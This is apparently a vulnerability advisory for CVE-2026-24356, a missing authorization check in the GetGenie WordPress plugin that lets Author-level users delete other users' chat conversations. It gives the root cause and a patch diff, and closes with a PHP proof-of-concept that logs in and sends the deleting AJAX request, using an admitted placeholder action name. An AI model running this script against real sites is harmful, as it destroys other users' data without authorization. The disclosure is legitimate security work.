Atomic Edge analysis of CVE-2026-24356:
The GetGenie WordPress plugin, versions up to and including 4.3.0, contains a missing authorization vulnerability in its chat conversation deletion function. This flaw allows authenticated attackers with Author-level permissions or higher to delete chat conversation posts belonging to other users.
Atomic Edge research identifies the root cause in the `GetGenieChat.php` file within the `getgenie/app/Api/` directory. The vulnerable function handling conversation deletion, prior to line 150, lacked any capability or ownership check before calling `wp_delete_post($conversation_id, true)`. The function accepted a `conversation_id` parameter but did not verify if the corresponding post belonged to the current user or was of the correct `getgenie_chat` post type.
An attacker can exploit this vulnerability by sending an authenticated POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) with the `action` parameter set to the specific GetGenie chat deletion hook. The request must include the `conversation_id` parameter set to the numeric ID of a target chat conversation post owned by another user. The attacker’s account requires at least Author-level access to WordPress.
The patch, implemented in version 4.3.1, adds an authorization check before deletion. In `GetGenieChat.php`, the code now retrieves the post object using `get_post($conversation_id)`. It then performs three validation checks: the post must exist, its `post_type` must equal `’getgenie_chat’`, and its `post_author` ID must match `get_current_user_id()`. If any check fails, the function returns a ‘fail’ status with an access denied message instead of proceeding with deletion. This ensures users can only delete their own chat conversations.
Successful exploitation allows an authenticated attacker to delete arbitrary chat conversation posts created by other users. This constitutes unauthorized data destruction and a loss of integrity for the chat feature. The impact is limited to the deletion of `getgenie_chat` post types and does not grant access to view content or escalate privileges to other plugin functions.
--- a/getgenie/app/Api/GetGenieChat.php
+++ b/getgenie/app/Api/GetGenieChat.php
@@ -150,6 +150,14 @@
endwhile;
} else {
+ // Verify the post exists, belongs to current user, and is the correct post type
+ $post = get_post($conversation_id);
+ if (!$post || $post->post_type !== 'getgenie_chat' || (int) $post->post_author !== get_current_user_id()) {
+ return [
+ 'status' => 'fail',
+ 'message' => ['Access denied. You can only delete your own chat conversations.'],
+ ];
+ }
wp_delete_post($conversation_id, true);
$deleted++;
}
--- a/getgenie/getgenie.php
+++ b/getgenie/getgenie.php
@@ -5,7 +5,7 @@
* Description: GetGenie AI is the most intuitive A.I Content Wordpress Plugin that can help you save time and write smarter.
* Plugin URI: https://getgenie.ai/
* Author: getgenieai
- * Version: 4.3.0
+ * Version: 4.3.1
* Author URI: https://getgenie.ai/
*
* Text Domain: getgenie
@@ -20,7 +20,7 @@
defined('ABSPATH') || exit;
-define('GETGENIE_VERSION', '4.3.0');
+define('GETGENIE_VERSION', '4.3.1');
define('GETGENIE_TEXTDOMAIN', 'getgenie');
define('GETGENIE_BASENAME', plugin_basename(__FILE__));
define('GETGENIE_URL', trailingslashit(plugin_dir_url(__FILE__)));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24356 - GetGenie <= 4.3.0 - Missing Authorization
<?php
$target_url = 'https://target-site.com'; // Change this to the target WordPress site URL
$username = 'author_user'; // Attacker's username with Author role or higher
$password = 'author_pass'; // Attacker's password
$victim_conversation_id = 123; // ID of a chat conversation post owned by another user
// Step 1: Authenticate to WordPress to obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Step 2: Send AJAX request to delete another user's chat conversation
// The specific AJAX action name must be derived from the plugin's code.
// This example uses a placeholder action 'getgenie_delete_chat'.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'getgenie_delete_chat', // This must be the correct hook name
'conversation_id' => $victim_conversation_id
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "Response from AJAX request:n";
echo $ajax_response . "n";
// A successful exploit in version <=4.3.0 would delete the post and may return a success message.
// The patched version (4.3.1) will return a JSON response with status 'fail' and an access denied message.
?>
